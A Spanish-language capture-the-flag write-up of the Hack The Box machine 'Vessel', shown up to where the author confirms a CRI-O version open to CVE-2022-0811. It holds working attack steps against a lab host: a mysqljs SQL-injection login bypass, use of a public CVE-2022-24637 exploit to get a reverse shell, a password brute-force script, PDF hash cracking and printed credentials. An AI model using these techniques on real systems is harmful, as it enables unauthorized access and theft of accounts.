Hack The Box: Vessel Writeup | Hard

Table of Contents

Hack The Box: Vessel Writeup

Welcome to my detailed writeup of the hard difficulty machine “Vessel” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 10.129.122.59 --ulimit 5000 -g
210.129.122.59 -> [22,80]
 1nmap -p22,80 -sCV 10.129.122.59 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 23:43 CET
 3Nmap scan report for 10.129.122.59
 4Host is up (0.037s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey:
 9|   3072 38:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA)
10|   256 33:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA)
11|_  256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519)
1280/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
13|_http-trane-info: Problem with XML parsing of /evox/about
14|_http-server-header: Apache/2.4.41 (Ubuntu)
15|_http-title: Vessel
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.122.59 -oN allPorts.UDP
 2[sudo] password for kali:
 3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 23:44 CET
 4Nmap scan report for 10.129.122.59
 5Host is up (0.036s latency).
 6Not shown: 1494 open|filtered udp ports (no-response)
 7PORT      STATE  SERVICE
 821/udp    closed ftp
 910000/udp closed ndmp
1017616/udp closed unknown
1122739/udp closed unknown
1224837/udp closed unknown
1337843/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds

Del escaneo inicial no encontramos nada relevante, lo único es que la versión de OpenSSH no está desactualizada, por lo cual la intrusión probablemente sea vía web.

HTTP Enumeration

whatweb no nos reporta nada interesante.

1whatweb http://10.129.122.59
2http://10.129.122.59 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[name@example.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.122.59], Script, Title[Vessel], X-Powered-By[Express]

Así se ve el sitio web. Write-up Image

En el footer de la página vemos el dominio vessel.htb, lo añadimos al /etc/hosts pero vemos que el sitio web no varia. Write-up Image

Vemos un panel de inicio de sesión en /login, también vemos otros endpoints como /register y /forgot Write-up Image

No podemos crearnos una cuenta de usuario ya que esta funcionalidad no está disponible. Write-up Image

Podemos ver que se están realizando peticiones a un endpoint de una API. Write-up Image

Fuzzeando con feroxbuster encontramos algunos recursos interesantes pero necesitamos autenticarnos para poder acceder a ellos.

 1feroxbuster -u http://vessel.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
 2
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.10.3
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://vessel.htb
 9 🚀  Threads               │ 100
10 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌  Status Codes          │ All Status Codes!
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.10.3
14 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
15 🔎  Extract Links         │ true
16 🏁  HTTP methods          │ [GET]
17 🔃  Recursion Depth       │ 1
18 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁  Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22302      GET        1l        4w       26c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23200      GET      948l     5414w   441616c http://vessel.htb/img/portfolio/thumbnails/5.jpg
24200      GET    11458l    22050w   213528c http://vessel.htb/css/styles.css
25200      GET      587l     4806w   459584c http://vessel.htb/img/portfolio/thumbnails/3.jpg
26200      GET     3452l    18206w  1464740c http://vessel.htb/img/portfolio/thumbnails/1.jpg
27302      GET        1l        4w       28c http://vessel.htb/admin => http://vessel.htb/login
28301      GET       10l       16w      173c http://vessel.htb/css => http://vessel.htb/css/
29200      GET       70l      182w     4213c http://vessel.htb/Login
30301      GET       10l       16w      173c http://vessel.htb/dev => http://vessel.htb/dev/
31301      GET       10l       16w      171c http://vessel.htb/js => http://vessel.htb/js/
32302      GET        1l        4w       28c http://vessel.htb/logout => http://vessel.htb/login
33200      GET        1l      176w     6119c http://vessel.htb/img/error-404-monochrome.svg
34200      GET       51l      125w     2393c http://vessel.htb/404
35301      GET       10l       16w      173c http://vessel.htb/img => http://vessel.htb/img/
36200      GET       52l      120w     2400c http://vessel.htb/401
37200      GET       51l      117w     2335c http://vessel.htb/500
38200      GET       89l      234w     5830c http://vessel.htb/Register
39200      GET       70l      182w     4213c http://vessel.htb/login
40200      GET       26l       70w      976c http://vessel.htb/js/script.js
41200      GET       63l      177w     3637c http://vessel.htb/reset
42200      GET       89l      234w     5830c http://vessel.htb/register
43200      GET       59l      147w     1781c http://vessel.htb/js/scripts.js
44200      GET    11766l    22753w   223365c http://vessel.htb/css/style.css
45200      GET      919l     5377w   433443c http://vessel.htb/img/portfolio/thumbnails/2.jpg
46200      GET     1277l     6344w   492607c http://vessel.htb/img/portfolio/thumbnails/4.jpg
47200      GET     1494l     8228w   657198c http://vessel.htb/img/portfolio/thumbnails/6.jpg
48200      GET      243l      871w    15030c http://vessel.htb/
49302      GET        1l        4w       28c http://vessel.htb/Admin => http://vessel.htb/login
50302      GET        1l        4w       28c http://vessel.htb/Logout => http://vessel.htb/login
51404      GET        9l       31w      272c http://vessel.htb/http%3A%2F%2Fwww
52404      GET        9l       31w      272c http://vessel.htb/http%3A%2F%2Fyoutube
53400      GET       10l       59w     1154c http://vessel.htb/%C0
54404      GET        9l       31w      272c http://vessel.htb/http%3A%2F%2Fblogs
55404      GET        9l       31w      272c http://vessel.htb/http%3A%2F%2Fblog
56404      GET        9l       31w      272c http://vessel.htb/**http%3A%2F%2Fwww
57403      GET        9l       28w      275c http://vessel.htb/server-status
58200      GET       70l      182w     4213c http://vessel.htb/LogIn
59[###########>--------] - 61s   123392/220579  0s      found:36      errors:2
60🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_vessel_htb-1733266343.state ...

Y fuzzeando los endpoints de /api no encontramos nada interesante.

Podemos fuzzear por subdominios (vhost’s) y tampoco encontramos nada interesante.

1wfuzz --hh=15030 -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.vessel.htb' http://vessel.htb

Finding /.git resource under /dev directory

Podemos intentar fuzzear también bajo los directorios encontrados, /admin y /dev y encontramos algo interesante, un repositorio bajo /dev/.git, esto es interesante ya que podemos recomponer el repositorio original, ver el código fuente y también revisar todos los commits y quizás exista información confidencial expuesta.

 1feroxbuster -u http://vessel.htb/dev/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -d 1 -t 100
 2
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.10.3
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://vessel.htb/dev/
 9 🚀  Threads               │ 100
10 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
11 👌  Status Codes          │ All Status Codes!
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.10.3
14 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
15 🔎  Extract Links         │ true
16 🏁  HTTP methods          │ [GET]
17 🔃  Recursion Depth       │ 1
18 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁  Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22302      GET        1l        4w       26c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23200      GET        8l       20w      139c http://vessel.htb/dev/.git/config
24200      GET        1l        2w       23c http://vessel.htb/dev/.git/HEAD
25200      GET       19l       55w     3596c http://vessel.htb/dev/.git/index

Esto ya lo hemos visto en otras máquinas, podemos utilizar la herramienta git-dumper para poder reconstruir el repo.

Primero clonamos el repositorio.

1git clone https://github.com/arthaud/git-dumper
2Cloning into 'git-dumper'...
3remote: Enumerating objects: 201, done.
4remote: Counting objects: 100% (134/134), done.
5remote: Compressing objects: 100% (60/60), done.
6remote: Total 201 (delta 85), reused 92 (delta 74), pack-reused 67 (from 1)
7Receiving objects: 100% (201/201), 58.39 KiB | 1.62 MiB/s, done.
8Resolving deltas: 100% (106/106), done.

Y simplemente debemos especificar la URL del repositorio y un directorio donde queramos guardar el contenido.

1python3 git_dumper.py http://vessel.htb/dev/.git/ vessel.htb
2[-] Testing http://vessel.htb/dev/.git/HEAD [200]
3[-] Testing http://vessel.htb/dev/.git/ [302]
4[-] Fetching common files
5[-] Fetching http://vessel.htb/dev/.git/COMMIT_EDITMSG [200]
6[-] Fetching http://vessel.htb/dev/.gitignore [302]
7[-] http://vessel.htb/dev/.gitignore responded with status code 302
8[-] Fetching http://vessel.htb/dev/.git/description [200]
9.........

Y tenemos el código fuente de la aplicación.

1➜  vessel.htb git:(master) ls
2config  index.js  public  routes  views

Analizando el código fuente, podemos ver que la única funcionalidad implementada es el inicio de sesión, por lo cual solo podemos “indagar” por aquí. Write-up Image

En el fichero config/db.js encontramos unas credenciales para acceso de base de datos, pero no son válidas para el usuario admin en el panel de administración.

 1cat -p db.js
 2var mysql = require('mysql');
 3
 4var connection = {
 5        db: {
 6        host     : 'localhost',
 7        user     : 'default',
 8        password : 'daqvACHKvRn84VdVp',
 9        database : 'vessel'
10}};
11
12module.exports = connection;

Podemos ver un commit utilizando git log (el primero) donde se indica que la versión de mysqljs ha sido actualizada ya que había sido deprecada, pero se sigue usando.

SQL Injection - Authentication Bypass

Viendo el segundo commit, vemos que se cambió la lógica del inicio de sesión para utilizar Prepared Statements y así evitar una inyección SQL. Write-up Image

Igualmente, me encontré con este artículo donde se habla de un comportamiento extraño en la función encargada de escapar los caracteres especiales y evitar un SQLi.

Recomiendo leer el artículo entero para entender que es lo que está pasando por detrás y porque se puede llegar acontecer una inyección.

Este código que aparentemente es seguro, resulta ser vulnerable.

 1...
 2app.post("/auth", function (request, response) {
 3 var username = request.body.username;
 4 var password = request.body.password;
 5 if (username && password) {
 6  connection.query(
 7   "SELECT * FROM accounts WHERE username = ? AND password = ?",
 8   [username, password],
 9   function (error, results, fields) {
10    ...
11   }
12  );
13 }
14});
15...

Esto es porque es posible pasar a los valores username y password algo que no sea un string, valores como Object, Boolean y Array

Vamos a burpsuite y probando payloads vemos que se nos reporta un error en el JSON, esto es buena señal ya que el servidor está interpretando nuestra petición. Write-up Image

Esto lo podemos revisar en el código igualmente ya que podemos ver que no se está filtrando nada, simplemente se asigna a las variables username y password lo que se le pase, sin ninguna exigencia ni sanitización.

1let username = req.body.username;
2let password = req.body.password;

También es important cambiar la cabecera de Content-Type para que el servidor sepa que la petición enviada es con data de tipo application/json

Entonces, podemos intentar iniciar sesión haciendo que la password valga 0, esto se traduciría en False y vemos que no podemos iniciar sesión. Write-up Image

Sin embargo, si lo establecemos a 1 (True) vemos que se nos redirecciona a /admin, por ende, hemos iniciado sesión. Write-up Image

Vamos a copiar el valor de la cookie connect.sid ya que equivale a una sesión en la cual he iniciado sesión, y ahora vamos a establecerla en nuestro navegador Write-up Image

Ahora podemos acceder al /admin Write-up Image

Vemos que en analytics se nos redirecciona al subdominio openwebanalytics.vessel.htb, vamos a añadir el subdominio al /etc/hosts Write-up Image

Write-up Image

Abusing CVE-2022-24637 -> Foothold

Leyendo el código fuente, podemos ver que la versión de OWA es la 1.7.3 Write-up Image

Esto ya lo he explotado en la máquina Analytics de CyberWave y juraría que en otra más.

Vamos a utilizar este PoCpara conseguir acceso a la máquina. Esta vulnerabilidad consiste en una forma no controlada por la que se consigue reestablecer la contraseña del usuario administrador y se consigue la ejecución remota de comandos mediante los logs inyectando un archivo PHP malicioso.

Primero clonamos el repositorio.

1git clone https://github.com/0xRyuk/CVE-2022-24637
2Cloning into 'CVE-2022-24637'...
3remote: Enumerating objects: 11, done.
4remote: Counting objects: 100% (11/11), done.
5remote: Compressing objects: 100% (9/9), done.
6remote: Total 11 (delta 2), reused 8 (delta 1), pack-reused 0 (from 0)
7Receiving objects: 100% (11/11), 7.75 KiB | 7.75 MiB/s, done.
8Resolving deltas: 100% (2/2), done.

Y modificamos el archivo php-reverse-shell.php estableciendo nuestra IP y nuestro puerto por el que estaremos en escucha. Write-up Image

Ahora nos ponemos en escucha con pwncat-cs por el puerto 443.

1pwncat-cs -lp 443

Lanzamos el exploit.

 1python3 exploit.py http://openwebanalytics.vessel.htb
 2[SUCCESS] Connected to "http://openwebanalytics.vessel.htb/" successfully!
 3[ALERT] The webserver indicates a vulnerable version!
 4[INFO] Attempting to generate cache for "admin" user
 5[INFO] Attempting to find cache of "admin" user
 6[INFO] Found temporary password for user "admin": ecaa1041bc122060dacf9aa1944e2efb
 7[INFO] Changed the password of "admin" to "rZvuUxXdGaL1WmMJzh7k3EPNGMzmvtbV"
 8[SUCCESS] Logged in as "admin" user
 9[INFO] Creating log file
10[INFO] Wrote payload to log file

Y recibimos una conexión en pwncat ganando acceso como el usuario www-data

1[00:31:15] received connection from 10.129.122.59:56796                                                  bind.py:84
2[00:31:16] 0.0.0.0:443: upgrading from /usr/bin/dash to /usr/bin/bash                                manager.py:957
3[00:31:17] 10.129.122.59:56796: registered new host w/ db                                            manager.py:957
4(local) pwncat$
5(remote) www-data@vessel:/$ id
6uid=33(www-data) gid=33(www-data) groups=33(www-data)

User Pivoting

Vemos que existen dos usuarios a parte de root, ethan y steven, así que supongo que tendremos que migrar de usuario antes de poder escalar privilegios.

1(remote) www-data@vessel:/$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3ethan:x:1000:1000:ethan:/home/ethan:/bin/bash
4steven:x:1001:1001:,,,:/home/steven:/bin/bash

Podemos acceder al directorio personal del usuario steven por alguna razón y vemos un binario llamado passwordGenerator, también vemos un directorio .notes

 1(remote) www-data@vessel:/home$ ls -la
 2total 16
 3drwxr-xr-x  4 root   root   4096 Aug 11  2022 .
 4drwxr-xr-x 19 root   root   4096 Aug 11  2022 ..
 5drwx------  5 ethan  ethan  4096 Aug 11  2022 ethan
 6drwxrwxr-x  3 steven steven 4096 Aug 11  2022 steven
 7(remote) www-data@vessel:/home$ cd ethan
 8bash: cd: ethan: Permission denied
 9(remote) www-data@vessel:/home$ cd steven/
10(remote) www-data@vessel:/home/steven$ ls
11passwordGenerator
12(remote) www-data@vessel:/home/steven$ ls -la
13total 33796
14drwxrwxr-x 3 steven steven     4096 Aug 11  2022 .
15drwxr-xr-x 4 root   root       4096 Aug 11  2022 ..
16lrwxrwxrwx 1 root   root          9 Apr 18  2022 .bash_history -> /dev/null
17-rw------- 1 steven steven      220 Apr 17  2022 .bash_logout
18-rw------- 1 steven steven     3771 Apr 17  2022 .bashrc
19drwxr-xr-x 2 ethan  steven     4096 Aug 11  2022 .notes
20-rw------- 1 steven steven      807 Apr 17  2022 .profile
21-rw-r--r-- 1 ethan  steven 34578147 May  4  2022 passwordGenerator

passwordGenerator no es un binario si no un ejecutable Windows.

1(remote) www-data@vessel:/home/steven$ file passwordGenerator
2passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows

Este directorio contiene un archivo PDF y una imagen.

1(remote) www-data@vessel:/home/steven/.notes$ ls -la
2total 40
3drwxr-xr-x 2 ethan  steven  4096 Aug 11  2022 .
4drwxrwxr-x 3 steven steven  4096 Aug 11  2022 ..
5-rw-r--r-- 1 ethan  steven 17567 Aug 10  2022 notes.pdf
6-rw-r--r-- 1 ethan  steven 11864 May  2  2022 screenshot.png

Vamos a descargarnos este PDF y esta imagen haciendo uso de la función interna download de pwncat-cs

1(remote) www-data@vessel:/home/steven/.notes$
2(local) pwncat$ download notes.pdf
3notes.pdf ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 17.6/17.6 KB • ? • 0:00:00
4[00:34:31] downloaded 17.57KiB in 0.32 seconds                                                                                                                                                                              download.py:71
5(local) pwncat$ download screenshot.png
6screenshot.png ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 11.9/11.9 KB • ? • 0:00:00
7[00:34:36] downloaded 11.86KiB in 0.20 seconds

Vemos que el PDF está protegido con contraseña. Write-up Image

Y la imagen nos muestra la interfaz gráfica del ejecutable encontrado. Write-up Image

De esta imagen podemos suponer que la contraseña del PDF tiene varios caracteres y 32 de longitud.

Reversing passwordGenerator

Vamos a descargar el ejecutable para analizarlo.

1local) pwncat$ download passwordGenerator
2passwordGenerator ━━━╺━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 6.0% • 2.1/34.6 MB • 3.0 MB/s • 0:00:11
3[00:38:08] downloaded 34.58MiB in 1.17 seconds 

Como no se está utilizando .NET, primero me interesa saber como está hecho este binario para poder analizarlo.

 1strings passwordGenerator
 2.....
 3bQt5Svg.dll
 4bQt5VirtualKeyboard.dll
 5bQt5WebSockets.dll
 6bQt5Widgets.dll
 7bVCRUNTIME140.dll
 8b_bz2.pyd
 9b_ctypes.pyd
10b_hashlib.pyd
11b_lzma.pyd
12b_socket.pyd
13b_ssl.pyd
14bd3dcompiler_47.dll
15blibEGL.dll
16blibGLESv2.dll
17blibcrypto-1_1.dll
18blibssl-1_1.dll
19bopengl32sw.dll
20bpyexpat.pyd
21bpyside2.abi3.dll
22bpython3.dll
23bpython37.dll
24bselect.pyd
25bshiboken2.abi3.dll
26bshiboken2\shiboken2.pyd
27bunicodedata.pyd
28xPySide2\translations\qtbase_ar.qm
29xPySide2\translations\qtbase_bg.qm
30xPySide2\translations\qtbase_ca.qm
31xPySide2\translations\qtbase_cs.qm
32xPySide2\translations\qtbase_da.qm
33xPySide2\translations\qtbase_de.qm
34xPySide2\translations\qtbase_en.qm
35xPySide2\translations\qtbase_es.qm
36xPySide2\translations\qtbase_fi.qm
37xPySide2\translations\qtbase_fr.qm
38xPySide2\translations\qtbase_gd.qm
39xPySide2\translations\qtbase_he.qm
40xPySide2\translations\qtbase_hu.qm
41xPySide2\translations\qtbase_it.qm
42xPySide2\translations\qtbase_ja.qm
43xPySide2\translations\qtbase_ko.qm
44xPySide2\translations\qtbase_lv.qm
45xPySide2\translations\qtbase_pl.qm
46xPySide2\translations\qtbase_ru.qm
47xPySide2\translations\qtbase_sk.qm
48xPySide2\translations\qtbase_tr.qm
49xPySide2\translations\qtbase_uk.qm
50xPySide2\translations\qtbase_zh_TW.qm
51xbase_library.zip
52zPYZ-00.pyz
533python37.dll

Podemos suponer que se está utilizando python3.7 y para la interfaz gráfica la librería Qt5, entonces probablemente se esté utilizando PyInstaller o py2exe para crear el ejecutable para Windows.

Podemos buscar como podemos descompilar este ejecutable, y encontramos un proyecto interesante llamado pyinstxtractor Write-up Image

Vamos a clonar este repositorio.

1git clone https://github.com/extremecoders-re/pyinstxtractor
2Cloning into 'pyinstxtractor'...
3remote: Enumerating objects: 205, done.
4remote: Counting objects: 100% (130/130), done.
5remote: Compressing objects: 100% (61/61), done.
6remote: Total 205 (delta 82), reused 90 (delta 69), pack-reused 75 (from 1)
7Receiving objects: 100% (205/205), 66.87 KiB | 1.52 MiB/s, done.
8Resolving deltas: 100% (100/100), done.

Ahora podemos extraer todo el bytecode de python del ejecutable.

 1python2.7 pyinstxtractor.py passwordGenerator
 2[+] Processing passwordGenerator
 3[+] Pyinstaller version: 2.1+
 4[+] Python version: 3.7
 5[+] Length of package: 34300131 bytes
 6[+] Found 95 files in CArchive
 7[+] Beginning extraction...please standby
 8[+] Possible entry point: pyiboot01_bootstrap.pyc
 9[+] Possible entry point: pyi_rth_subprocess.pyc
10[+] Possible entry point: pyi_rth_pkgutil.pyc
11[+] Possible entry point: pyi_rth_inspect.pyc
12[+] Possible entry point: pyi_rth_pyside2.pyc
13[+] Possible entry point: passwordGenerator.pyc
14[!] Warning: This script is running in a different Python version than the one used to build the executable.
15[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling
16[!] Skipping pyz extraction
17[+] Successfully extracted pyinstaller archive: passwordGenerator
18
19You can now use a python decompiler on the pyc files within the extracted directory

Vemos todos los archivos en el directorio passwordGenerator_extracted

1ls
2base_library.zip    libcrypto-1_1.dll  MSVCP140_1.dll         pyiboot01_bootstrap.pyc  pyi_rth_inspect.pyc     pyside2.abi3.dll      Qt5Core.dll     Qt5Qml.dll              Qt5WebSockets.dll   _socket.pyd
3_bz2.pyd            libEGL.dll         MSVCP140.dll           pyimod01_os_path.pyc     pyi_rth_pkgutil.pyc     python37.dll          Qt5DBus.dll     Qt5QmlModels.dll        Qt5Widgets.dll      _ssl.pyd
4_ctypes.pyd         libGLESv2.dll      opengl32sw.dll         pyimod02_archive.pyc     pyi_rth_pyside2.pyc     python3.dll           Qt5Gui.dll      Qt5Quick.dll            select.pyd          struct.pyc
5d3dcompiler_47.dll  libssl-1_1.dll     passwordGenerator.pyc  pyimod03_importers.pyc   pyi_rth_subprocess.pyc  PYZ-00.pyz            Qt5Network.dll  Qt5Svg.dll              shiboken2           unicodedata.pyd
6_hashlib.pyd        _lzma.pyd          pyexpat.pyd            pyimod04_ctypes.pyc      PySide2                 PYZ-00.pyz_extracted  Qt5Pdf.dll      Qt5VirtualKeyboard.dll  shiboken2.abi3.dll  VCRUNTIME140.dll

Podemos utilizar decompyle3 para descompilar el bytecode y ver el código python de la aplicación.

1pip3 install decompyle3
1decompyle3 passwordGenerator.pyc > main.py

Ahora podemos analizar el código de main.py que es el ejecutable de Windows.

Lo que nos interesa es la función genPassword()

 1def genPassword(self):
 2        length = value
 3        char = index
 4        if char == 0:
 5            charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?"
 6        elif char == 1:
 7            charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 8        elif char == 2:
 9            charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"
10        try:
11            qsrand(QTime.currentTime().msec())
12            password = ""
13            for i in range(length):
14                idx = qrand() % len(charset)
15                nchar = charset[idx]
16                password += str(nchar)
17
18        except:
19            msg = QMessageBox()
20            msg.setWindowTitle("Error")
21            msg.setText("Error while generating password!, Send a message to the Author!")
22            x = msg.exec_()
23
24        return password

Creating Bruteforce Script

Suponiendo que se está utilizando todos los caracteres como se ve en la imagen, podemos suponer que se está utilizando el primer charset

Después:

Entonces, necesitamos saber en que milisegundo exacto y como funciona la función msec()

Write-up Image

En este caso se retorna el milisegundo en el que se creó la contraseña, desde el 0 hasta el 999. Esto significa que solo existen 1000 combinaciones para la seed, por ende, solo existen 1000 contraseñas posibles para el PDF.

Vamos a instalar la librería PySide2 que es la que contiene las funciones qsrand y qrand para crear todas las posibles combinaciones.

1pip3 install pyside2

Este es el script que va a generar las 1000 posibles contraseñas.

 1#!/usr/bin/python3
 2from PySide2.QtCore import qsrand, qrand
 3
 4MAX_SEED_VALUE = 1000
 5PASSWORD_LENGTH = 32
 6
 7def generate_password(seed):
 8    charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?"
 9    qsrand(seed)
10    password = ""
11    for i in range(PASSWORD_LENGTH):
12        idx = qrand() % len(charset)
13        nchar = charset[idx]
14        password += str(nchar)
15    return password
16
17def main():
18    for i in range(MAX_SEED_VALUE):
19        password = generate_password(i)
20        print(password)
21
22if __name__ == "__main__":
23    main()

Podemos generar las contraseñas y guardarlas en un fichero passwords.txt

1python3 brute.py > passwords.txt

Ahora podemos exportar el hash con pdf2john a un fichero hash

1pdf2john notes.pdf > hash

Y al intentar crackear este hash con john y las contraseñas generadas vemos que no encuentra resultado.

1john -w=passwords.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
4Cost 1 (revision) is 3 for all loaded hashes
5Will run 4 OpenMP threads
6Press 'q' or Ctrl-C to abort, almost any other key for status
70g 0:00:00:00 DONE (2024-12-04 01:23) 0g/s 24975p/s 24975c/s 24975C/s 2J16^>.|vtXpN2[o1H;e4f|FF0([y+|q..l2DoG^icl}>kZ[tNB|:]m5km@{x:^7ck
8Session completed.

Why it doesn’t work in Linux?

Entonces, leyendo la documentación de qrand() podemos leer el siguiente texto.

Thread-safe version of the standard C++ rand() function.

Returns a value between 0 and RAND_MAX (defined in <cstdlib> and <stdlib.h>), the next number in the current sequence of pseudo-random integers.

Esto significa que no se generaría los mismos números ya que la función qrand() utiliza la implementación estándar de rand() de C++ la cual varía entre plataformas, Microsoft y GNU tiene diferentes algoritmos para rand() por lo cual da lugar a secuencias distintas incluso con la misma semilla. Factores como diferencias en el algoritmo, el valor de RAND_MAX y el manejo interno de números afectan los resultados por lo cual, vamos a probar a generar las 1000 posibles credenciales en Windows y probar a crackear el hash.

Cracking PDF hash

Para ello, en una máquina Windows, podemos descargar PySide2 igual que en linux (debemos tener una versión de Python inferior a la 3.10, en mi caso, he utilizado la 3.7)

1pip3 install pyside2

Ejecutamos el script y vemos que efectivamente, son contraseñas distintas. Write-up Image

Copiamos estas contraseñas a nuestra máquina linux y ahora con john podemos crackear el hash que anteriormente he extraido.

 1john -w=passwords_win.txt hash
 2Using default input encoding: UTF-8
 3Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
 4Cost 1 (revision) is 3 for all loaded hashes
 5Will run 4 OpenMP threads
 6Press 'q' or Ctrl-C to abort, almost any other key for status
 7YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS (notes.pdf)
 81g 0:00:00:00 DONE (2024-12-04 01:56) 100.0g/s 38400p/s 38400c/s 38400C/s _jEkA+f0VXtWZ[K.d+EdaBAB>;r]E3Z*..r6TUgox@Tb5JWnK5AHO}$AE%8!d58Shq
 9Use the "--show --format=PDF" options to display all of the cracked passwords reliably
10Session completed.

Ahora podemos leer el PDF y vemos una credencial que supuestamente es de ethan Write-up Image

Por lo cual tenemos un combo, ethan: b@mPRNSVTjjLKId1T que es válido en la máquina víctima y podemos migrar de usuario.

1(remote) www-data@vessel:/home/steven/.notes$ su ethan
2Password:
3ethan@vessel:/home/steven/.notes$ id
4uid=1000(ethan) gid=1000(ethan) groups=1000(ethan)

Podemos ver la flag de usuario.

1ethan@vessel:~$ cat user.txt
28458e60618f88d...

Privilege Escalation

Tras enumerar la máquina victima encontramos un binario con permiso de SUID un tanto extraño. Este es el binario pinns

 1ethan@vessel:~$ find / \-perm \-4000 2>/dev/null
 2/usr/lib/eject/dmcrypt-get-device
 3/usr/lib/openssh/ssh-keysign
 4/usr/lib/policykit-1/polkit-agent-helper-1
 5/usr/lib/dbus-1.0/dbus-daemon-launch-helper
 6/usr/bin/fusermount
 7/usr/bin/passwd
 8/usr/bin/gpasswd
 9/usr/bin/sudo
10/usr/bin/umount
11/usr/bin/newgrp
12/usr/bin/chfn
13/usr/bin/at
14/usr/bin/chsh
15/usr/bin/mount
16/usr/bin/su
17/usr/bin/pinns

Aparentemente este binario no tiene panel de ayuda ni entrada en man

1ethan@vessel:~$ /usr/bin/pinns
2[pinns:e]: Path for pinning namespaces not specified: Invalid argument
3ethan@vessel:~$ /usr/bin/pinns --help
4ethan@vessel:~$ man pinns
5No manual entry for pinns

Buscando en Google encontré un par de artículos interesantes. El que mas me interesa es este escrito por CrowdStrike

Abusing CVE-2022-0811

Se relata como existe una vulnerabilidad para escapar de un contenedor Kubernetes y ganar acceso como root en la máquina anfitriona, igualmente no se necesita Kubernetes para poder explotar esto, ya que cualquier máquina que tenga instalado CRI-O puede usarse para establecer parámetros en el kernel.

Kubernetes is not necessary to invoke CVE-2022-8011. An attacker on a machine with CRI-O installed can use it to set kernel parameters all by itself.

La versión vulnerable de CRI-O es la 1.19+ y podemos consultar que la máquina víctima contiene este binario y pertenece a una versión vulnerable.

 1ethan@vessel:~$ crio -v
 2crio version 1.19.6
 3Version:       1.19.6
 4GitCommit:     c12bb210e9888cf6160134c7e636ee952c45c05a
 5GitTreeState:  clean
 6BuildDate:     2022-03-15T18:18:24Z
 7GoVersion:     go1.15.2
 8Compiler:      gc
 9Platform:      linux/amd64
